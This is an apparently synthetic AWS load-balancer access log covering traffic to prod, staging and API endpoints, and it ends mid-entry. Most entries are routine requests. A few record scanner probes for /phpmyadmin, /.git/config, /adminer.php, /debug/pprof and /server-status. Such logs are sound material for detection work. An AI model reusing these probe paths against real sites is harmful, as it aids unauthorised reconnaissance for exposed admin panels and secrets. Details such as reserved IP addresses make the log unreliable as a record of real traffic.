arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c161-408bf2bb10cf4969bb24c25d" "prod-api-alb.example.com" "-" 8 2024-11-01T00:41:53.425383Z "forward" "-" "-" "10.0.166.185:443" "302" "-" "-" -https 2024-11-01T00:41:55.005904Z prod-web-alb 62.255.239.22:64960 10.0.155.8:443 0.031603 0.211405 0.044558 404 404 853 14893 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c163-16939d82cc684f3cb968102d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:41:55.005904Z "forward" "-" "-" "10.0.155.8:443" "404" "-" "-" -https 2024-11-01T00:41:56.098785Z prod-web-alb 153.194.94.31:44019 10.0.191.53:443 0.008727 0.429946 0.007302 200 200 934 12159 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c164-7f41650dff944021b6e333bc" "prod-web-alb.example.com" "-" 4 2024-11-01T00:41:56.098785Z "forward" "-" "-" "10.0.191.53:443" "200" "-" "-" -https 2024-11-01T00:41:56.441325Z prod-api-alb 8.222.81.135:40084 10.0.161.49:443 0.093384 0.435312 0.018571 302 302 147 3454 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c164-7f4cae2a0a774f46ab9e5793" "prod-api-alb.example.com" "-" 7 2024-11-01T00:41:56.441325Z "forward" "-" "-" "10.0.161.49:443" "302" "-" "-" -http 2024-11-01T00:41:58.330573Z staging-alb 249.123.152.183:25809 35.190.13.25:443 0.054810 0.024883 0.087727 200 200 190 9360 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c166-11e8ed0588384339b765a5f1" "staging-alb.example.com" "-" 3 2024-11-01T00:41:58.330573Z "forward" "-" "-" "35.190.13.25:443" "200" "-" "-" -https 2024-11-01T00:41:59.339559Z prod-api-alb 24.23.234.61:19939 10.0.195.112:443 0.028340 0.017108 0.068349 200 200 261 13262 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c167-d8181f0abc93489797864190" "prod-api-alb.example.com" "-" 7 2024-11-01T00:41:59.339559Z "forward" "-" "-" "10.0.195.112:443" "200" "-" "-" -https 2024-11-01T00:42:01.296123Z prod-web-alb 193.27.228.75:45854 10.0.144.75:443 0.013726 0.437952 0.085331 301 301 6 10051 "POST /phpmyadmin HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c169-dff823aaa5ec40168d48b86d" "-" "-" 7 2024-11-01T00:42:01.296123Z "forward" "-" "-" "10.0.144.75:443" "301" "-" "-" -https 2024-11-01T00:42:02.397184Z prod-web-alb 20.241.97.226:56300 10.0.114.100:443 0.035773 0.319006 0.017352 404 404 675 238 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c16a-34a9c670985b49e3846d775c" "prod-web-alb.example.com" "-" 9 2024-11-01T00:42:02.397184Z "forward" "-" "-" "10.0.114.100:443" "404" "-" "-" -https 2024-11-01T00:42:03.180204Z prod-api-alb 140.123.209.90:34024 10.0.254.109:443 0.019253 0.091990 0.096834 200 200 732 3799 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c16b-6883fe863a3b44e28d82cfd7" "prod-api-alb.example.com" "-" 8 2024-11-01T00:42:03.180204Z "forward" "-" "-" "10.0.254.109:443" "200" "-" "-" -https 2024-11-01T00:42:04.543290Z staging-alb 31.212.27.255:56984 0.31.243.218:80 0.051323 0.018614 0.070633 200 200 632 12189 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c16c-33f6c2ef3f0a405a90b4eb00" "staging-alb.example.com" "-" 5 2024-11-01T00:42:04.543290Z "forward" "-" "-" "0.31.243.218:80" "200" "-" "-" -http 2024-11-01T00:42:05.876309Z staging-alb 32.253.73.200:34125 173.0.35.197:443 0.106249 0.295577 0.018339 200 200 449 5482 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c16d-10890ceaa2e849a5b462c178" "staging-alb.example.com" "-" 8 2024-11-01T00:42:05.876309Z "forward" "-" "-" "173.0.35.197:443" "200" "-" "-" -https 2024-11-01T00:42:07.324383Z prod-api-alb 248.126.35.135:21076 10.0.25.142:443 0.023705 0.311851 0.059886 302 302 391 12745 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c16f-b894a1fa6706447aa27c1504" "prod-api-alb.example.com" "-" 4 2024-11-01T00:42:07.324383Z "forward" "-" "-" "10.0.25.142:443" "302" "-" "-" -https 2024-11-01T00:42:07.679894Z prod-web-alb 160.44.10.172:64396 10.0.93.127:443 0.056316 0.192071 0.003761 404 404 391 4052 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c16f-02485dc3039444088533fb08" "prod-web-alb.example.com" "-" 7 2024-11-01T00:42:07.679894Z "forward" "-" "-" "10.0.93.127:443" "404" "-" "-" -https 2024-11-01T00:42:08.191991Z prod-web-alb 75.229.204.116:27707 10.0.132.146:443 0.025834 0.040329 0.043974 404 404 710 9123 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c170-78ef6ed515974ea886418560" "prod-web-alb.example.com" "-" 5 2024-11-01T00:42:08.191991Z "forward" "-" "-" "10.0.132.146:443" "404" "-" "-" -https 2024-11-01T00:42:08.573521Z prod-web-alb 215.151.227.50:40550 10.0.151.248:443 0.017352 0.009604 0.067867 200 200 158 6800 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c170-612621380edc40d987dd1d96" "prod-web-alb.example.com" "-" 9 2024-11-01T00:42:08.573521Z "forward" "-" "-" "10.0.151.248:443" "200" "-" "-" -http 2024-11-01T00:42:09.028285Z staging-alb 133.219.225.48:50892 89.102.162.150:443 0.059786 0.534242 0.111337 302 302 232 14149 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c171-65038aa7d7294fbd873728a2" "staging-alb.example.com" "-" 0 2024-11-01T00:42:09.028285Z "forward" "-" "-" "89.102.162.150:443" "302" "-" "-" -http 2024-11-01T00:42:09.835743Z staging-alb 21.79.158.127:46860 14.101.213.126:8080 0.103492 0.097314 0.085021 200 200 950 4038 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c171-59e5f975316f472dbe11f32c" "staging-alb.example.com" "-" 1 2024-11-01T00:42:09.835743Z "forward" "-" "-" "14.101.213.126:8080" "200" "-" "-" -https 2024-11-01T00:42:11.673132Z prod-api-alb 104.245.182.178:29898 10.0.33.205:443 0.027074 0.373648 0.033826 302 302 106 10644 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c173-bebebc658d3f4e8c8407c310" "prod-api-alb.example.com" "-" 5 2024-11-01T00:42:11.673132Z "forward" "-" "-" "10.0.33.205:443" "302" "-" "-" -https 2024-11-01T00:42:12.844672Z prod-web-alb 128.249.108.152:59134 10.0.7.123:443 0.049980 0.037391 0.084600 200 200 726 11576 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c174-7068d27df2754a2db9f79056" "prod-web-alb.example.com" "-" 5 2024-11-01T00:42:12.844672Z "forward" "-" "-" "10.0.7.123:443" "200" "-" "-" -https 2024-11-01T00:42:13.089859Z prod-api-alb 182.149.160.63:39346 10.0.137.77:443 0.062971 0.352492 0.089396 200 200 813 6049 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c175-0ad656d11f4e43839c8fc90b" "prod-api-alb.example.com" "-" 0 2024-11-01T00:42:13.089859Z "forward" "-" "-" "10.0.137.77:443" "200" "-" "-" -https 2024-11-01T00:42:13.352708Z prod-api-alb 117.201.235.24:41561 10.0.66.159:443 0.031711 0.418489 0.002233 404 404 539 11441 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c175-357adec867d442cc8c20e5c2" "prod-api-alb.example.com" "-" 6 2024-11-01T00:42:13.352708Z "forward" "-" "-" "10.0.66.159:443" "404" "-" "-" -https 2024-11-01T00:42:14.153458Z prod-api-alb 62.172.9.165:51955 10.0.254.182:443 0.023011 0.485671 0.040050 200 200 312 9624 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c176-ee549748e18d4b7191c91091" "prod-api-alb.example.com" "-" 4 2024-11-01T00:42:14.153458Z "forward" "-" "-" "10.0.254.182:443" "200" "-" "-" -https 2024-11-01T00:42:15.935813Z prod-web-alb 4.157.205.222:53364 10.0.130.238:443 0.035330 0.344298 0.057255 404 404 247 9380 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c177-e78795a395f0438d8b4822c7" "prod-web-alb.example.com" "-" 0 2024-11-01T00:42:15.935813Z "forward" "-" "-" "10.0.130.238:443" "404" "-" "-" -https 2024-11-01T00:42:16.306579Z prod-api-alb 84.111.254.10:30130 10.0.196.60:443 0.026169 0.439992 0.042462 200 200 10 9758 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c178-0008c05148d944d2a7234b1c" "prod-api-alb.example.com" "-" 6 2024-11-01T00:42:16.306579Z "forward" "-" "-" "10.0.196.60:443" "200" "-" "-" -https 2024-11-01T00:42:16.523679Z prod-web-alb 188.68.43.237:61044 10.0.54.115:443 0.050931 0.209318 0.039060 200 200 102 10147 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c178-a94a1a8ec665484da95deb8c" "prod-web-alb.example.com" "-" 1 2024-11-01T00:42:16.523679Z "forward" "-" "-" "10.0.54.115:443" "200" "-" "-" -https 2024-11-01T00:42:18.401043Z staging-alb 108.249.142.252:34243 128.136.99.18:443 0.105196 0.615304 0.010465 200 200 654 2542 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c17a-7c4e4246858943d4962a6b27" "staging-alb.example.com" "-" 10 2024-11-01T00:42:18.401043Z "forward" "-" "-" "128.136.99.18:443" "200" "-" "-" -https 2024-11-01T00:42:18.999900Z prod-web-alb 43.218.200.165:13854 10.0.38.77:443 0.020645 0.382216 0.078062 200 200 84 4604 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c17a-d804e0c0fe134a6e8cc0f9ed" "prod-web-alb.example.com" "-" 5 2024-11-01T00:42:18.999900Z "forward" "-" "-" "10.0.38.77:443" "200" "-" "-" -https 2024-11-01T00:42:19.273940Z prod-api-alb 211.230.57.21:44886 10.0.112.62:443 0.035445 0.142746 0.010269 404 404 709 3624 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c17b-092144732d5b4e10a66c99f3" "prod-api-alb.example.com" "-" 1 2024-11-01T00:42:19.273940Z "forward" "-" "-" "10.0.112.62:443" "404" "-" "-" -http 2024-11-01T00:42:20.905588Z staging-alb 189.245.195.17:41887 82.99.127.186:8080 0.086598 0.326467 0.101178 200 200 15 14866 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c17c-101f59a7cd0b4420b1ad313e" "staging-alb.example.com" "-" 5 2024-11-01T00:42:20.905588Z "forward" "-" "-" "82.99.127.186:8080" "200" "-" "-" -https 2024-11-01T00:42:21.511821Z prod-web-alb 191.59.54.1:25222 10.0.228.186:443 0.029868 0.357238 0.033293 200 200 811 9904 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c17d-dc448338a30c416581842838" "prod-web-alb.example.com" "-" 6 2024-11-01T00:42:21.511821Z "forward" "-" "-" "10.0.228.186:443" "200" "-" "-" -http 2024-11-01T00:42:22.903799Z staging-alb 211.102.206.126:53260 119.11.245.66:80 0.004086 0.382345 0.104261 200 200 296 4554 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c17e-75539643b942459995c9067e" "staging-alb.example.com" "-" 10 2024-11-01T00:42:22.903799Z "forward" "-" "-" "119.11.245.66:80" "200" "-" "-" -https 2024-11-01T00:42:24.790881Z staging-alb 45.155.205.70:26622 175.202.216.27:80 0.140805 0.391399 0.094029 403 403 555 10645 "GET /.git/config HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c180-f2d61b8460b149848d862268" "-" "-" 2 2024-11-01T00:42:24.790881Z "forward" "-" "-" "175.202.216.27:80" "403" "-" "-" -https 2024-11-01T00:42:26.716401Z prod-web-alb 45.155.205.243:63888 10.0.23.205:443 0.050473 0.449516 0.001953 404 404 685 4924 "PUT /debug/pprof HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c182-f39fa989e2c048abb0bd6c36" "-" "-" 1 2024-11-01T00:42:26.716401Z "forward" "-" "-" "10.0.23.205:443" "404" "-" "-" -https 2024-11-01T00:42:28.554169Z prod-web-alb 185.181.25.65:42380 10.0.187.225:443 0.019347 0.246230 0.052617 403 403 169 12743 "GET /adminer.php HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c184-6ea6dd6021d74c02824d9a25" "-" "-" 8 2024-11-01T00:42:28.554169Z "forward" "-" "-" "10.0.187.225:443" "403" "-" "-" -https 2024-11-01T00:42:28.925490Z staging-alb 163.176.107.237:43573 204.179.253.150:80 0.110545 0.005018 0.048640 302 302 134 7798 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c184-6f7f76bb7d8941d487d036f2" "staging-alb.example.com" "-" 4 2024-11-01T00:42:28.925490Z "forward" "-" "-" "204.179.253.150:80" "302" "-" "-" -https 2024-11-01T00:42:29.582917Z prod-web-alb 194.225.200.91:21119 10.0.130.122:443 0.061520 0.155419 0.058499 301 301 633 12861 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c185-a10e5640afb243d3a8c6e48d" "prod-web-alb.example.com" "-" 4 2024-11-01T00:42:29.582917Z "forward" "-" "-" "10.0.130.122:443" "301" "-" "-" -http 2024-11-01T00:42:30.388022Z staging-alb 179.63.204.5:46954 222.135.91.238:80 0.071682 0.354297 0.016970 404 404 260 5359 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c186-5e5e4842253140ff9d7f6a3e" "staging-alb.example.com" "-" 8 2024-11-01T00:42:30.388022Z "forward" "-" "-" "222.135.91.238:80" "404" "-" "-" -https 2024-11-01T00:42:31.509326Z prod-api-alb 5.108.95.100:44584 10.0.185.6:443 0.022773 0.214944 0.024284 200 200 661 342 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c187-0daff038e77e47f6ad86f3e6" "prod-api-alb.example.com" "-" 3 2024-11-01T00:42:31.509326Z "forward" "-" "-" "10.0.185.6:443" "200" "-" "-" -https 2024-11-01T00:42:33.507920Z staging-alb 152.82.104.171:19345 9.190.105.246:443 0.141589 0.702111 0.044558 200 200 982 12466 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c189-4268ec7e342f42689ee661d8" "staging-alb.example.com" "-" 1 2024-11-01T00:42:33.507920Z "forward" "-" "-" "9.190.105.246:443" "200" "-" "-" -https 2024-11-01T00:42:33.806783Z prod-web-alb 174.163.219.57:42935 10.0.14.195:443 0.008223 0.289104 0.019150 302 302 702 11330 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c189-11a3d277fb3b4a3c86078951" "prod-web-alb.example.com" "-" 5 2024-11-01T00:42:33.806783Z "forward" "-" "-" "10.0.14.195:443" "302" "-" "-" -https 2024-11-01T00:42:33.920731Z prod-web-alb 121.38.149.149:55701 10.0.210.154:443 0.038123 0.444963 0.046884 302 302 533 5976 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c189-13fe2b0707534a1eb8b0f322" "prod-web-alb.example.com" "-" 2 2024-11-01T00:42:33.920731Z "forward" "-" "-" "10.0.210.154:443" "302" "-" "-" -https 2024-11-01T00:42:35.835360Z prod-api-alb 9.128.188.153:43895 10.0.186.4:443 0.046283 0.336529 0.073389 200 200 921 14766 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c18b-b80f8562c54846e2abe42914" "prod-api-alb.example.com" "-" 1 2024-11-01T00:42:35.835360Z "forward" "-" "-" "10.0.186.4:443" "200" "-" "-" -https 2024-11-01T00:42:36.576918Z prod-api-alb 76.63.251.243:14969 10.0.210.138:443 0.067676 0.352957 0.016054 404 404 854 14361 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c18c-121524fd9eb94c408cfebad1" "prod-api-alb.example.com" "-" 0 2024-11-01T00:42:36.576918Z "forward" "-" "-" "10.0.210.138:443" "404" "-" "-" -http 2024-11-01T00:42:37.584466Z staging-alb 44.14.7.145:28984 74.214.19.64:80 0.070552 0.106586 0.106501 200 200 702 5214 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c18d-ba2c530baf344fcab0e5e534" "staging-alb.example.com" "-" 0 2024-11-01T00:42:37.584466Z "forward" "-" "-" "74.214.19.64:80" "200" "-" "-" -https 2024-11-01T00:42:39.545753Z prod-web-alb 183.183.158.239:35660 10.0.228.74:443 0.048727 0.145099 0.011104 302 302 579 3913 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c18f-4bfe47c9a65541f19a896755" "prod-web-alb.example.com" "-" 3 2024-11-01T00:42:39.545753Z "forward" "-" "-" "10.0.228.74:443" "302" "-" "-" -https 2024-11-01T00:42:40.533577Z prod-web-alb 45.155.205.243:26572 10.0.171.222:443 0.084350 0.286401 0.056479 404 404 521 9955 "PUT /server-status HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c190-cd5554ed63bc40a394bda78d" "-" "-" 9 2024-11-01T00:42:40.533577Z "forward" "-" "-" "10.0.171.222:443" "404" "-" "-" -https 2024-11-01T00:42:42.138035Z prod-api-alb 82.19.55.2:24348 10.0.207.216:443 0.035674 0.315324 0.047372 200 200 586 11219 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c192-0eacbd52bc8d4a6db3a47737" "prod-api-alb.example.com" "-" 3 2024-11-01T00:42:42.138035Z "forward" "-" "-" "10.0.207.216:443" "200" "-" "-" -https 2024-11-01T00:42:43.716478Z prod-web-alb 231.184.232.19:27951 10.0.216.128:443 0.059432 0.363877 0.022229 200 200 682 13685 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c193-30d6dddc804040f5a57d221d" "prod-web-alb.example.com" "-" 4 2024-11-01T00:42:43.716478Z "forward" "-" "-" "10.0.216.128:443" "200" "-" "-" -https 2024-11-01T00:42:44.896182Z staging-alb 127.144.3.171:38300 250.163.207.148:80 0.086269 0.503713 0.065842 200 200 895 7476 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 